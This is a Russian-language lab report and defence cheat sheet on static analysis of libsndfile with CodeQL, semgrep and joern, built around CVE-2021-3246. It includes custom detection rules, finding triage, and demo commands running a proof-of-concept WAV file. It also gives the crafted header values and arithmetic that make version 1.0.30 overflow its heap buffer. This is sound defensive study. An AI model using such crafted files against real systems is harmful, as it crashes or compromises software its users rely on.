CWE-190. 290 срабатываний, больше всего в `src/GSM610/gsm_decode.c` (153), `src/sfendian.h` (23), `src/nms_adpcm.c` (17), `src/sd2.c` (15), `src/ms_adpcm.c` (13), `src/double64.c` (12). Большинство — битовые операции и ожидаемое усечение. Это шум низкой точности, а не 290 ошибок.

CWE-129. 8 срабатываний: `long_term.c:914`, `ima_adpcm.c:468`, `ima_oki_adpcm.c:77` и `:86`, `ms_adpcm.c:292`, `sd2.c:317`, `:325`, `:333`. В `ms_adpcm.c:292` — ложное: `bytecode` ограничен `& 0xF`, а `AdaptationTable` содержит 16 элементов. Остальные требуют ручной проверки.

CWE-457. Два срабатывания: `programs/common.c:57` и `programs/sndfile-info.c:256`. Второе — истинное: локальная `double signal_max` может остаться неинициализированной, если `sf_command` вернёт ошибку. Первое — **ложное**: `max` объявлена как `static double`, а объекты со статическим сроком хранения обнуляются до начала программы, поэтому чтение не является UB. В исходном отчёте оба названы истинными; это ошибка, которую стоит знать (подробнее — приложение F).

CWE-468. Одно срабатывание, `src/nms_adpcm.c:707`, и оно истинное:

```
memset (pnms->block + (k * sizeof (short)), 0,
        (pnms->shortsperblock - k) * sizeof (short)) ;
```

`pnms->block` имеет тип `unsigned short *`, поэтому смещение `k * sizeof(short)` масштабируется ещё раз. При коротком чтении `memset` выходит за массив `block`.

Своё правило CodeQL. Файл `rules/codeql/msadpcm-block-size.ql`:

```
/**
 * @name CVE-2021-3246: недостаточная проверка размера блока MS ADPCM
 * @description В wavlike_msadpcm_init проверяется только blockalign,
 *              но не samplesperblock.
 * @kind problem
 * @problem.severity error
 * @security-severity 8.8
 * @id cpp/lab4-msadpcm-block-size
 * @tags security
 *       external/cwe/cwe-787
 *       external/cwe/cwe-122
 */

import cpp

from IfStmt check, BinaryOperation lt
where
  check.getEnclosingFunction().hasName("wavlike_msadpcm_init") and
  lt = check.getCondition() and
  lt.getOperator() = "<" and
  lt.getLeftOperand().toString() = "blockalign"
select check,
  "Проверка размера блока MS ADPCM использует blockalign и не ограничивает samplesperblock
(CVE-2021-3246)"
```

Почему 1 на 1.0.30 и 0 на 1.1.0:

- запрос ограничен функцией `wavlike_msadpcm_init`;
- ищется `if` с оператором `<`, у которого левый операнд — именно `blockalign`;
- в 1.1.0 первая проверка — `samplesperblock < 7 * channels`, вторая — `2 * blockalign < ...`; левый операнд второй — умножение, а не сам `blockalign`, поэтому запрос молчит.

4.5. semgrep: три набора и своё правило

Набор	Назначение	Правил	Файлов	Находок
`p/c`	штатный набор для C	2	130	0
`p/default`	общий набор по умолчанию	336	144	0
`p/security-audit`	security-аудит	88	144	7

Штатный C-набор оказался очень маленьким: всего два правила. Для содержательного анализа дополнительно прогнан `p/security-audit`.

Семь находок:

Правило	Файл:строка	Разбор
`insecure-use-printf-fn`	`src/G72x/g72x_test.c:78`	тестовый файл, не входит в библиотеку
`double-free`	`src/alac.c:871`	**ложное**: два `free(pakt_data)` на взаимоисключающих путях
`double-free`	`src/test_conversions.c:88`	тестовый файл
`use-after-free`	`src/wavlike.c:332`	**ложное**: после `free` указатель сразу переприсваивается `calloc`
`use-after-free`	`src/wavlike.c:346`	**ложное** по той же причине
`insecure-use-strcat-fn`	`src/common.h:991`	макрос-обёртка, общее предупреждение
`insecure-use-string-copy-fn`	`src/common.h:997`	макрос-обёртка, общее предупреждение

Про `alac.c:871`: в функции есть успешный путь с `free(pakt_data); return info;` и путь ошибки `FreeExit: free(pakt_data); free(info);`. Они взаимоисключающие, двойного освобождения нет. semgrep видит два вызова `free` и не различает пути. Это хороший пример ограничения шаблонного анализа.

Своё правило `rules/semgrep/msadpcm-block-size.yaml`:

```
rules:
  - id: lab4-msadpcm-block-size
    languages: [c]
    severity: ERROR
    message: >
      MS ADPCM: проверяется только blockalign, а samplesperblock не ограничен.
      Это позволяет выйти за границы буфера в msadpcm_decode_block
      (CVE-2021-3246 в libsndfile 1.0.30).
    metadata:
      cwe:
        - "CWE-787: Out-of-bounds Write"
      references:
        - https://nvd.nist.gov/vuln/detail/CVE-2021-3246
        - https://github.com/libsndfile/libsndfile/issues/687
    patterns:
      - pattern-inside: |
          int wavlike_msadpcm_init(...)
          {
            ...
          }
```

```
      - pattern: |
          if (blockalign < 7 * $CHANNELS)
          {
            ...
          }
```

Результат: 1 находка в 1.0.30 (`src/ms_adpcm.c:131`), 0 в 1.1.0. Правило синтаксическое: оно не доказывает выход за границу, а узнаёт уязвимую форму условия.

4.6. joern: штатный набор и своё правило

База запросов joern 4.0.669 содержит 58 запросов: C — 27, Android — 10, PHP — 9, Java — 7, Kotlin — 3, Ghidra — 2. Метка `default` стоит на 32 запросах, из них для C — 16. Команда `joern-scan --language c` запускает именно эти 16.

```
work/tools/joern/joern-cli/joern-scan --language c \
  work/src/libsndfile-1.0.30/src
```

Получено 368 срабатываний:

Запрос	Балл	Находок
Copy loop detected	2.0	293
Signed Shift May Cause Undefined Behavior	2.0	42
Array access at fixed offset but sufficient length check not determined	3.0	18
Truncation in assignment involving `strlen` call	2.0	6
Two file operations on the same path can act on different files	3.0	6
Unchecked read/recv/malloc	3.0	2
Non-constant format string passed to printf/sprintf/vsprintf	4.0	1
Итого		**368**

Что это значит:

- **293 Copy loop** — циклы кодеков ALAC, G.72x, GSM, IMA ADPCM, MS ADPCM, NMS ADPCM. Запрос помечает запись в массив, если индекс встречается в заголовке цикла, и не проверяет границу. В `ms_adpcm.c:307` это обычная работа декодера.
- **42 Signed Shift** — левый сдвиг знакового числа. В основном ALAC и `nms_adpcm.c`. Отмечается форма операции, а не доказанное переполнение.
- **18 Array access** — одна функция `audio_detect.c:vote_for_format`, строки 91, 94, 97, 100 с повторами. Внутри цикла читаются `data[0]`, `data[2]`, `data[3]`; длина перед циклом уменьшается до кратной 4, но запрос такую проверку достаточной не считает.
- **6 strlen** — присваивание `strlen` в `int`: `aiff.c:1440`, `aiff.c:1534`, `common.c:165`, `common.c:391`, `sd2.c:282`, `sd2.c:283`. Формальное замечание: на 64-битной платформе `size_t` шире `int`.
- **6 file operations** — `file_io.c:575/577` (ветки `if/else` вокруг `open`), `common.c:1754/1759` (два `fopen` в `psf_open_tmpfile`), `test_file_io.c:94/108` (тестовый файл).
- **2 Unchecked read/recv/malloc** — `alac.c:826` и `cart.c:42`, `malloc` без проверки результата.

- **1 format string** — `common.c:1188`, `psf_hexdump`: первый аргумент `printf` — тернарное выражение, но обе ветки константные. Запрос проверяет только `isLiteral`, поэтому это ложное срабатывание.

Своё правило — скрипт `rules/joern/msadpcm-block-size.sc`:

```
@main def main(inputPath: String, outFile: String) = {
  importCode.c(inputPath)

  val hits = cpg.method
    .nameExact("wavlike_msadpcm_init")
    .controlStructure
    .controlStructureType(ControlStructureTypes.IF)
    .filter { cs =>
      cs.condition.l.exists { cond =>
        val kids = cond.astChildren.l
        kids.length >= 2 &&
        kids.head.code == "blockalign" &&
        kids(1).code.startsWith("7 *")
      }
    }
    .map { cs =>
      val file = cs.file.name.l.headOption.getOrElse("?")
      val line = cs.lineNumber.map(_.toString).getOrElse("?")
      val code = cs.condition.code.l.headOption.getOrElse(cs.code)
      s"$file:$line: $code"
    }
    .l
    .distinct
    .sorted

  val text = s"находок: ${hits.size}\n" + hits.map(h => s"$h\n").mkString
  java.nio.file.Files.writeString(java.nio.file.Paths.get(outFile), text)
  println(text)
}
```

Запуск:

```
export JAVA_HOME="$PWD/work/tools/jdk-21"
export PATH="$JAVA_HOME/bin:$PATH"

work/tools/joern/joern-cli/joern --script rules/joern/msadpcm-block-size.sc \
  --param inputPath="$PWD/work/src/libsndfile-1.0.30/src" \
  --param outFile="$PWD/results/joern-custom-1.0.30.txt"
```

Результат: 1 находка в 1.0.30 (`ms_adpcm.c:131`), 0 в 1.1.0. Ограничение то же: правило узнаёт форму условия, а не доказывает переполнение.

4.7. Сравнение трёх правил и трёх инструментов

Средство	Движок	Что ищет	1.0.30	1.1.0	Ложные
CodeQL	AST + CFG + dataflow, QL	`if` с `blockalign` в `wavlike_msadpcm_init`	1	0	нет
semgrep	AST-шаблоны	тот же `if` по текстовому шаблону	1	0	нет
joern	обход CPG на Scala	тот же `if` по детям AST условия	1	0	нет

Инструмент	Сильная сторона	Слабая сторона
CodeQL	глубокий анализ, типы, dataflow, компактные запросы	долгая сборка базы, нужна компиляция
semgrep	быстрый старт, простые правила, реестр	нет полноценного потока управления, ложные на указателях
joern	запросы по CPG, гибкий Scala DSL	нужен JDK, база для C меньше, много эвристик

Все три правила сошлись на одной сигнатуре, потому что она действительно определяет уязвимую версию: в 1.0.30 есть `blockalign < 7 * channels`, в 1.1.0 её нет. Совпадение результатов на двух версиях — главный аргумент, что правила не случайны.

---

5. Демонстрация работы

5.1. Требования к стенду

Демонстрация идёт на этой же машине, отдельная Windows-виртуальная машина не нужна.

Нужно:

- Linux с установленным `clang`, `make`, `python3`, `git`;
- каталог `lab4/` с репозиторием;
- каталог `work/` с исходниками, сборками и инструментами (в git не входит);
- для полного прогона — интернет: CodeQL скачивает bundle, semgrep обращается к реестру;
- для быстрой демонстрации интернет не нужен, достаточно готовых `results/`.

Проверка одной командой:

```
cd ~/Projects/gitrepo/mbks_labs/lab4
ls work/build/asan-1.0.30/programs/sndfile-info \
   work/tools/codeql/codeql \
   work/venvs/semgrep/bin/semgrep \
   work/tools/joern/joern-cli/joern
```

Если чего-то нет:

```
./scripts/build/01-fetch.sh      # исходники libsndfile
./scripts/build/02-build.sh      # обычная и ASan-сборка
./scripts/build/04-codeql.sh     # CodeQL bundle, базы, запросы
./scripts/build/05-semgrep.sh    # venv и наборы правил
./scripts/build/06-joern.sh      # JDK и joern должны уже лежать в work/tools
```

5.2. Подготовка (чек-лист)

За 5 минут до защиты:

1. Открыть терминал в `lab4/`, увеличить шрифт.
2. Проверить версии: `cat results/versions.txt`.
3. Проверить PoC: `ls -l poc/msadpcm_poc.wav` — 2660 байт.
4. Прогнать PoC на 1.0.30 и 1.1.0 (раздел 5.3) — убедиться, что ASan и отказ на месте.
5. Проверить сводки: `cat results/codeql-summary.txt results/semgrep-summary.txt results/joern-summary.txt`.
6. Проверить свои правила: `cat results/joern-custom-summary.txt`, `grep -c` по SARIF или просто открыть `report.md` 2.16.
7. Держать открытыми `report.md`, `README.md` и этот файл.

> **ЗАМЕТКА**
>
> Если преподаватель просит показать «вживую», не обязательно запускать `run-all.sh`. Быстрый сценарий — PoC плюс три своих правила на готовых базах и исходниках. Полный прогон нужен только если он просит пересобрать всё с нуля.

5.3. Блок A. Версии и PoC

A1. Версии.

```
cat results/versions.txt
```

На экране:

```
CodeQL: CodeQL command-line toolchain release 2.27.3.
semgrep: 1.182.1
joern: 4.0.669
JDK: openjdk version "21.0.13" 2026-10-20 LTS
clang: clang version 23.1.3
libsndfile vulnerable: AC_INIT([libsndfile],[1.0.30],...
libsndfile fixed: AC_INIT([libsndfile],[1.1.0],...
```

Что сказать: «Версии зафиксированы в `results/versions.txt`. От них зависят числа: CodeQL 2.27.3, semgrep 1.182.1, joern 4.0.669, clang 23.1.3».

A2. Файл PoC.

```
ls -l poc/msadpcm_poc.wav
python3 poc/gen_msadpcm_poc.py
```

На экране: `записан ... (2660 байт)`. Можно показать `xxd -l 64 poc/msadpcm_poc.wav` — видно `RIFF`, `WAVE`, `fmt `, `data`.

A3. Падение на 1.0.30.

```
ASAN_OPTIONS=detect_leaks=0 \
  work/build/asan-1.0.30/programs/sndfile-info poc/msadpcm_poc.wav
```

На экране:

```
==...==ERROR: AddressSanitizer: heap-buffer-overflow ...
WRITE of size 2 ...
    #0 ... in msadpcm_decode_block .../src/ms_adpcm.c:279
    #1 ... in wavlike_msadpcm_init .../src/ms_adpcm.c:171
    #2 ... in wav_open .../src/wav.c:258
0x... is located 0 bytes after 9428-byte region [...]
SUMMARY: AddressSanitizer: heap-buffer-overflow .../src/ms_adpcm.c:279
```

Что сказать: «Файл 2660 байт, один блок MS ADPCM, 226 каналов. ASan показывает запись `WRITE of size 2` сразу за 9428-байтовым регионом, в `msadpcm_decode_block` на строке 279. Стек показывает путь: `sf_open` → `wav_open` → `wavlike_msadpcm_init` → `msadpcm_decode_block`».

A4. Отказ на 1.1.0.

```
ASAN_OPTIONS=detect_leaks=0 \
  work/build/asan-1.1.0/programs/sndfile-info poc/msadpcm_poc.wav
```

На экране:

```
Error : Not able to open input file .../poc/msadpcm_poc.wav.
*** Error samplesperblock (10) should be >= 1582.
```

Что сказать: «На исправленной версии тот же файл отклоняется до декодера: `samplesperblock (10) should be >= 1582`. Это ровно та проверка, которой не было в 1.0.30».

5.4. Блок B. CodeQL

B1. Сводка.

```
cat results/codeql-summary.txt
```

На экране — таблица: 290 + 8 + 2 + 1 + 0 = 301, и своё правило 1 / 0.

Что сказать: «Пять штатных запросов дали 301 срабатывание. Почти всё — CWE-190, 290 штук, это низкая точность. CWE-120 не дал ничего, потому что исследуемая CVE — не неограниченное копирование. Своё правило дало 1 на 1.0.30 и 0 на 1.1.0».

B2. Своё правило на готовой базе.

```
work/tools/codeql/codeql database analyze work/db-1.0.30 \
  rules/codeql/msadpcm-block-size.ql \
  --format=sarif-latest --output=/tmp/lab4-codeql-1.0.30.sarif --threads=4

python3 - <<'PY'
import json
d = json.load(open('/tmp/lab4-codeql-1.0.30.sarif'))
print('находок:', sum(len(r.get('results', [])) for r in d['runs']))
PY
```

Аналогично для `work/db-1.1.0` и `--output=/tmp/lab4-codeql-1.1.0.sarif`. Ожидается `находок: 1` и `находок: 0`.

Время: 10–20 секунд на запрос. Если базы нет — сначала `./scripts/build/04-codeql.sh`, это дольше.

Что сказать: «Запрос ограничен функцией `wavlike_msadpcm_init`, ищет `if` с оператором `<`, у которого слева именно `blockalign`. В 1.1.0 слева `samplesperblock` или `2 * blockalign`, поэтому запрос молчит».

5.5. Блок C. semgrep

C1. Сводка.

```
cat results/semgrep-summary.txt
```

На экране: `p/c` — 0, `p/default` — 0, `p/security-audit` — 7, своё правило 1 / 0.

Что сказать: «Штатный C-набор — всего два правила, на libsndfile он молчит. `p/default` — 336 правил, тоже 0. `p/security-audit` дал 7 находок, из них два use-after-free и один double-free после разбора оказались ложными, два — в тестовых файлах, два — предупреждения о strcpy/strcat в макросах».

C2. Своё правило.

```
work/venvs/semgrep/bin/semgrep \
  --config rules/semgrep/msadpcm-block-size.yaml --no-git-ignore \
  work/src/libsndfile-1.0.30/src/ms_adpcm.c
```

```
work/venvs/semgrep/bin/semgrep \
  --config rules/semgrep/msadpcm-block-size.yaml --no-git-ignore \
  work/src/libsndfile-1.1.0/src/ms_adpcm.c
```

На экране: для 1.0.30 — `1 finding`, строка `131┆ if (blockalign < 7 * psf->sf.channels)`; для 1.1.0 — `Ran 1 rule on 1 file: 0 findings`.

Время: около 2 секунд на файл.

Что сказать: «`pattern-inside` ограничивает поиск телом `wavlike_msadpcm_init`, `pattern` ищет `if (blockalign < 7 * $CHANNELS)`. На 1.1.0 условие заменено, правило молчит».

5.6. Блок D. joern

D1. Сводка.

```
cat results/joern-summary.txt
cat results/joern-custom-summary.txt
```

На экране: 368 срабатываний и разбивка по запросам; своё правило 1 / 0.

Что сказать: «Штатный набор — 16 запросов для C с меткой default. 368 срабатываний, из них 293 — эвристика Copy loop, 42 — сдвиг знакового числа. CVE штатный набор не нашёл. Своё правило дало 1 на 1.0.30 и 0 на 1.1.0».

D2. Своё правило.

```
export JAVA_HOME="$PWD/work/tools/jdk-21"
export PATH="$JAVA_HOME/bin:$PATH"

work/tools/joern/joern-cli/joern --script rules/joern/msadpcm-block-size.sc \
  --param inputPath="$PWD/work/src/libsndfile-1.0.30/src" \
  --param outFile=/tmp/lab4-joern-1.0.30.txt
cat /tmp/lab4-joern-1.0.30.txt
```

Ожидается:

```
находок: 1
ms_adpcm.c:131: blockalign < 7 * psf->sf.channels
```

Для 1.1.0 — `--param inputPath=.../libsndfile-1.1.0/src`, ожидается `находок: 0`.

Время: 40–60 секунд на импорт `src/` и обход. Если преподаватель не хочет ждать — показать `results/joern-custom-summary.txt` и сказать, что это тот же скрипт, сохранённый вывод.

Что сказать: «joern строит CPG через c2cpg, скрипт берёт метод `wavlike_msadpcm_init`, его `if` и проверяет детей AST условия: первый — `blockalign`, второй начинается с `7 *`. На 1.1.0 условие другое, поэтому 0».

> **ЗАМЕТКА**
>
> `joern --version` не печатает версию: он открывает REPL. Версия берётся из имени jar `joernext-querydb-io.joern.querydb-4.0.669.jar` или из `results/versions.txt`.

5.7. Ожидаемые результаты одним взглядом

Проверка	Команда (суть)	Что должно быть
Версии	`cat results/versions.txt`	CodeQL 2.27.3, semgrep 1.182.1, joern 4.0.669
PoC существует	`ls -l poc/msadpcm_poc.wav`	2660 байт
PoC на 1.0.30	`sndfile-info` под ASan	`heap-buffer-overflow`, `ms_adpcm.c:279`, регион 9428
PoC на 1.1.0	тот же файл	`samplesperblock (10) should be >= 1582`
CodeQL, пять CWE	`cat results/codeql-summary.txt`	301: 290 / 8 / 2 / 1 / 0
CodeQL, своё	`database analyze`	1 на 1.0.30, 0 на 1.1.0
semgrep, наборы	`cat results/semgrep-summary.txt`	0 / 0 / 7
semgrep, своё	`semgrep --config ...`	1 на 1.0.30, 0 на 1.1.0
joern, штатный	`cat results/joern-summary.txt`	368, из них 293 Copy loop
joern, своё	`joern --script`	1 на 1.0.30, 0 на 1.1.0

5.8. Быстрая демонстрация на 3 минуты

Шаг 0: терминал в `lab4/`, `work/` на месте.

1. `cat results/versions.txt` — одна строка про каждый инструмент.
2. `python3 poc/gen_msadpcm_poc.py` — `2660 байт`.
3. `ASAN_OPTIONS=detect_leaks=0 work/build/asan-1.0.30/programs/sndfile-info poc/msadpcm_poc.wav` — ASan, `ms_adpcm.c:279`, 9428 байт.
4. `ASAN_OPTIONS=detect_leaks=0 work/build/asan-1.1.0/programs/sndfile-info poc/msadpcm_poc.wav` — отказ `samplesperblock (10) should be >= 1582`.
5. `cat results/codeql-summary.txt results/semgrep-summary.txt results/joern-summary.txt` — три сводки.
6. `cat results/joern-custom-summary.txt` — 1 / 0.

В конце: «Три независимых инструмента дают 1 находку на уязвимой версии и 0 на исправленной, а PoC подтверждает, что находка — настоящая запись за границу кучи».

5.9. Если что-то не сработало

Симптом	Причина	Что делать
`No such file or directory: work/...`	каталог `work/` не восстановлен	`./scripts/build/01-fetch.sh`, `./scripts/build/02-build.sh`
`sndfile-info` не собран	нет `work/build`	`./scripts/build/02-build.sh`
`work/venvs/semgrep` нет	venv не создан	`./scripts/build/05-semgrep.sh`
`Database ... does not exist`	нет базы CodeQL	`./scripts/build/04-codeql.sh`
`java: command not found`	не выставлен `JAVA_HOME`	`export JAVA_HOME="$PWD/work/tools/jdk-21"; export PATH="$JAVA_HOME/bin:$PATH"`

Симптом	Причина	Что делать
`joern --version` зависает	это REPL, а не версия	смотреть имя jar или `results/versions.txt`
`p/c` не находится	нет интернета или реестра	показать `results/semgrep-*.txt`, для защиты хватает
ASan не срабатывает	собрана обычная версия	использовать `work/build/asan-*/...`
PoC не найден	не сгенерирован	`python3 poc/gen_msadpcm_poc.py`
Числа отличаются от отчёта	другие версии инструментов	сверить `results/versions.txt`, не подменять цифры
`semgrep` ругается на git	файл вне git-дерева	добавить `--no-git-ignore`

---

6. Вопросы преподавателя и короткие ответы

1. Что такое SAST? Статический анализ исходного кода без запуска программы. Инструмент строит модель кода — AST, CFG, dataflow — и ищет опасные конструкции: копирование без проверки длины, арифметику над недоверенными данными, индекс без проверки границ. SAST даёт первичный список гипотез, а не доказательство уязвимости.

2. Чем SAST отличается от DAST? SAST читает код и не выполняет его; DAST запускает программу и подаёт входные данные. SAST видит все ветки, включая редкие, но не знает реального окружения; DAST видит реальное поведение, но только на тех входах, которые ему дали. В работе SAST — три анализатора, а роль «динамики» играет PoC под ASan.

3. Почему выбраны именно эти пять CWE? Для C-библиотеки, разбирающей чужие файлы, критичны ошибки памяти и целочисленной арифметики: 120, 190, 129, 457, 468. Отдельных штатных запросов CWE-476 и CWE-125 в пакете 1.9.2 нет, поэтому вместо них взяты 457 и 468 — тоже классы, ведущие к порче памяти и UB.

4. Почему не CWE-416, ведь он есть в пакете? CWE-416 действительно есть. Набор из пяти — это не «топ-5», а пять разных механизмов: запись без границы, переполнение, индекс, неинициализированная переменная, масштабирование указателя. Use-after-free в работе разобран на стороне semgrep: два ложных срабатывания в `wavlike.c`. Замена 468 на 416 была бы допустима, но не изменила бы выводы.

5. Что такое CWE, CVE и CVSS? CWE — класс ошибок («так бывает»), CVE — конкретный экземпляр в продукте, CVSS — численная оценка серьёзности. CVE-2021-3246 класса CWE-787 имеет CVSS 8.8: сеть, низкая сложность, без привилегий, нужно действие пользователя, высокое влияние на конфиденциальность, целостность и доступность.

6. Что такое taint-анализ? Распространение метки «недоверенные данные» от источников (файл, argv, сеть) к стокам (memcpy, индекс, арифметика). Если по пути есть проверка-санитайзер, поток блокируется. CodeQL делает это по IR и dataflow, semgrep — упрощённо, joern — по графу зависимостей.

7. Что такое path-problem? Запрос, который возвращает не только место, но и путь от источника до стока. В SARIF такой результат содержит цепочку шагов. `@kind problem` даёт только место и сообщение; `@kind path-problem` требует модуль `PathGraph` и строит путь.

8. Зачем CodeQL собирает базу и компилирует код? Чтобы получить AST, типы, вызовы, CFG и dataflow, которых нет в тексте. Для C/C++ фронтенд запускает компиляцию проекта и записывает её результаты в реляционную базу. Без сборки запросы к типам и потоку данных работать не будут.

9. Почему CWE-120 не нашёл CVE-2021-3246? CWE-120 — про запись без ограничения длины: `strcpy`, `memcpy`, `sprintf` и т. п. Наша ошибка — согласование двух размеров: `blockalign` и `samplesperblock`. Формально запись идёт в массив `samples`, но длина определяется не аргументом копирования, а неверным `samplesperblock`. Модель «недоверенная длина → запись» такой дефект не описывает.

10. Почему CWE-190 дал 290 срабатываний? Запрос низкой точности: он сообщает о любом потенциально переполняющемся выражении над недоверенными данными, даже если

результат потом маскируется или приводится к меньшему типу. Больше всего в `gsm_decode.c` (153) — битовые сдвиги и маски. Это шум, требующий ручного триажа, а не 290 ошибок.

11. Какие срабатывания CWE-129, CWE-457 и CWE-468 истинные? CWE-129: восемь срабатываний, `ms_adpcm.c:292` — ложное (`bytecode & 0xF`, таблица на 16 элементов), остальные требуют проверки. CWE-457: `sndfile-info.c:256` — истинное, `common.c:57` — ложное, потому что `max` статическая и обнуляется при старте. CWE-468: `nms_adpcm.c:707` — истинное, указатель `unsigned short *` масштабируется дважды.

12. Почему `common.c:57` — ложное срабатывание? Там объявлено `static double data[BUFFER_LEN], max;`. Объекты со статическим сроком хранения обнуляются до начала программы, поэтому `max` не может быть неинициализированной. Если `sf_command` вернёт ошибку, `max` останется нулём, `isnormal(0)` даст false, функция вернёт 1 — это неверный результат, но не UB. CodeQL не учитывает статическое обнуление.

13. Что такое semgrep и чем он отличается от CodeQL? semgrep разбирает файлы в AST и сопоставляет с YAML-шаблоном. Он не компилирует проект и не строит полноценную базу, поэтому быстрый и простой, но не видит типы и поток управления. CodeQL глубже, но требует сборки базы.

14. Что такое `pattern-inside`? Условие, что найденный шаблон находится внутри указанной конструкции. В нашем правиле `pattern-inside` ограничивает поиск телом `wavlike_msadpcm_init`, чтобы такой же `if` в другом файле не срабатывал.

15. Почему `p/c` содержит всего два правила? Так устроен реестр semgrep: C-набор очень маленький. Отсутствие находок не означает, что код чистый — это означает, что два правила ничего не нашли. Для содержательного анализа дополнительно прогнан `p/security-audit` (88 правил), который дал 7 находок.

16. Какие семь находок дал `p/security-audit`? `insecure-use-printf-fn` (`g72x_test.c:78`, тест), два `double-free` (`alac.c:871` — ложное, `test_conversions.c:88` — тест), два `use-after-free` (`wavlike.c:332`, `:346` — ложные), `insecure-use-strcat-fn` и `insecure-use-string-copy-fn` (`common.h:991`, `:997` — макросы). Истинных находок в самой библиотеке среди них нет.

17. Почему `double-free` в `alac.c` — ложное? В функции есть успешный путь `free(pakt_data); return info;` и путь ошибки `FreeExit: free(pakt_data); free(info);`. Они взаимоисключающие: `goto FreeExit` стоит до успешного `free`, после него управление не возвращается. semgrep видит два вызова `free` и не различает пути.

18. Что такое CPG? Code Property Graph — объединение AST, CFG и графа зависимостей по данным и управлению. Для C его строит c2cpg. Запросы joern ходят по узлам и рёбрам этого графа.

19. Почему joern не нашёл CVE штатным набором? В базе 58 запросов, для C с меткой default — 16. Среди них нет запроса про слабую проверку `blockalign` в MS ADPCM. Срабатывания в `ms_adpcm.c` — это Copy loop на цикле декодера, который не проверяет границу и не доказывает переполнение.

20. Что такое Copy loop и почему 293 срабатывания? Эвристика: помечает запись в элемент массива, если индекс встречается в заголовке цикла `for`. Любой цикл кодека, который пишет отсчёт в буфер и увеличивает индекс, попадает в отчёт. В libsndfile таких циклов много: ALAC, G.72x, GSM, IMA, MS ADPCM, NMS ADPCM. Это не 293 уязвимости.

21. Как работает ваше правило в каждом инструменте? CodeQL: ограничение функции по имени и поиск `if` с `<`, где левый операнд — `blockalign`. semgrep: `pattern-inside` функции плюс текстовый шаблон `if (blockalign < 7 * $CHANNELS)`. joern: метод `wavlike_msadpcm_init`, его `if`, первый ребёнок AST условия — `blockalign`, второй начинается с `7 *`.

22. Почему все три правила дают 1 на 1.0.30 и 0 на 1.1.0? В 1.0.30 есть условие `blockalign < 7 * channels`. В 1.1.0 оно заменено на `samplesperblock < 7 * channels` и `2 * blockalign < samplesperblock * channels`. Все три правила ищут первую форму, поэтому на исправленной версии молчат. Совпадение результатов на двух версиях — проверка качества сигнатуры.

23. В чём причина CVE? В согласовании размеров. Для extensible-файла `samplesperblock` читается из `wValidBitsPerSample` через объединение `WAV_FMT`. Проверка каналов 1–2 есть только для обычного MS ADPCM, для extensible её нет. Старая проверка смотрит только на `blockalign`. В итоге под сэмплы выделяется `channels * samplesperblock` элементов, а декодер пишет больше.

24. Почему 226 каналов, 2592 и 10? Нужно, чтобы `blockalign` прошёл проверку `>= 7 * channels`, `count` совпал с `samplesperblock`, а декодер вышел за буфер. При `channels = 226` и `blockalign = 2592`: `2592 >= 1582`, `count = 2 * (2592 - 6 * 226) / 226 = 2 * 1236 / 226 = 10`. `samplesperblock = 10` — равенство выполняется. При этом под сэмплы выделяется 2260 `short`, а декодер пишет 5156 значений.

25. Почему выделено 9428 байт и почему первая запись за границей на 4686? `sizeof(MSADPCM_PRIVATE)` = 56, `pmssize = 56 + 2592 + 3 * 226 * 10 = 9428`. После заголовка остаётся `(9428 - 56) / 2 = 4686` элементов `short` с индексами 0…4685. Декодер начинает с `sampleindx = 2 * 226 = 452` и пишет 5156 значений, поэтому первая запись за границу — индекс 4686. Всего за границу уходят 922 `short`.

26. Почему падение в `msadpcm_decode_block`, а не в `wavlike_msadpcm_init`? `wavlike_msadpcm_init` в режиме чтения сам вызывает `msadpcm_decode_block (psf, pms)` в конце инициализации, строка 171. Поэтому стек ASan идёт от `wavlike_msadpcm_init` к декодеру, а сама запись — в цикле распаковки на строке 279.

27. Что доказывает PoC и чего он не доказывает? Доказывает, что на 1.0.30 конкретный файл вызывает запись за границу выделенного объекта, а на 1.1.0 отклоняется. Не доказывает выполнение кода и не является эксплойтом: для эксплуатации нужны подходящая раскладка кучи, allocator и сценарий в приложении. CVE говорит, что выполнение кода возможно, но PoC этого не показывает.

28. Почему 1.1.0 отклоняет файл? Первая новая проверка: `samplesperblock < 7 * channels`. Для PoC `10 < 1582` — истина, функция возвращает `SFE_INTERNAL` до `calloc` и до декодера. Вторая проверка `2 * blockalign < samplesperblock * channels` тоже отклонила бы файл, но до неё дело не доходит.

29. Можно ли использовать эти правила в CI? Да, как быстрый сигнальный барьер: CodeQL и semgrep хорошо ложатся в pipeline, joern требует JDK и дольше. Но правила узкие: они ловят конкретную форму условия, а не любой дефект согласования размеров. В CI их стоит дополнять штатными наборами, baseline и синтетическими тестами.

30. Какие ограничения у работы и что бы вы добавили? Одна CVE, сигнатурные правила, нет доказательства эксплуатации, сравнение только 1.0.30 и 1.1.0, один сценарий PoC,

шумные штатные наборы, нет CI и baseline. Добавил бы dataflow-правило CodeQL от заголовка WAV до записи, semgrep taint-режим, оформление joern-правила через `Query.make`, синтетические тесты и запуск в CI.

---

7. Границы работы: что честно сказать

1. **Одна CVE.** Исследуется только CVE-2021-3246; другие дефекты libsndfile не разбираются до конца.
2. **Сигнатурные правила.** Все три правила ищут конкретную форму `blockalign < 7 * ...`. Если код перепишут, правило перестанет срабатывать, даже если ошибка останется.
3. **Нет доказательства эксплуатации.** Правила находят форму, PoC и ASan доказывают выход за границу, но не выполнение кода.
4. **Две версии.** Сравниваются 1.0.30 и 1.1.0; 1.0.31 и дистрибутивные патчи отдельно не проверялись (хотя в теге 1.0.31 проверка та же).
5. **Один сценарий PoC.** WAV/MS ADPCM и `sndfile-info`; другие приложения и форматы не проверялись.
6. **Шумные штатные наборы.** 290 срабатываний CWE-190 и 293 Copy loop — это шум, а не 290 и не 293 уязвимости.
7. **Нет CI.** Прогон ручной; в реальном проекте его стоит повесить на push/merge request.
8. **Нет baseline.** Не считается, сколько находок было в предыдущей версии и сколько исчезло.
9. **Нет других анализаторов.** Только CodeQL, semgrep и joern; Clang Static Analyzer, Coverity, PVS-Studio не сравнивались.
10. **Нет автоматических тестов правил.** Правила проверены прогоном на двух версиях, но не на синтетических примерах.

Честные оговорки:

- `p/c` содержит два правила; отсутствие находок не означает, что код чистый.
- `p/security-audit` даёт ложные `use-after-free` и `double-free`; их нужно разбирать вручную.
- CWE-457 в `common.c:57` — ложное срабатывание из-за статического обнуления.
- joern Copy loop — эвристика, а не поиск переполнения.
- Собственные правила узкие: это компромисс между точностью и полнотой.
- PoC вызывает падение, но не является эксплойтом.
- Числа зависят от версий: CodeQL 2.27.3, semgrep 1.182.1, joern 4.0.669.

---

8. Шпаргалка

8.1. Команды

```
# Полный прогон
./scripts/build/run-all.sh

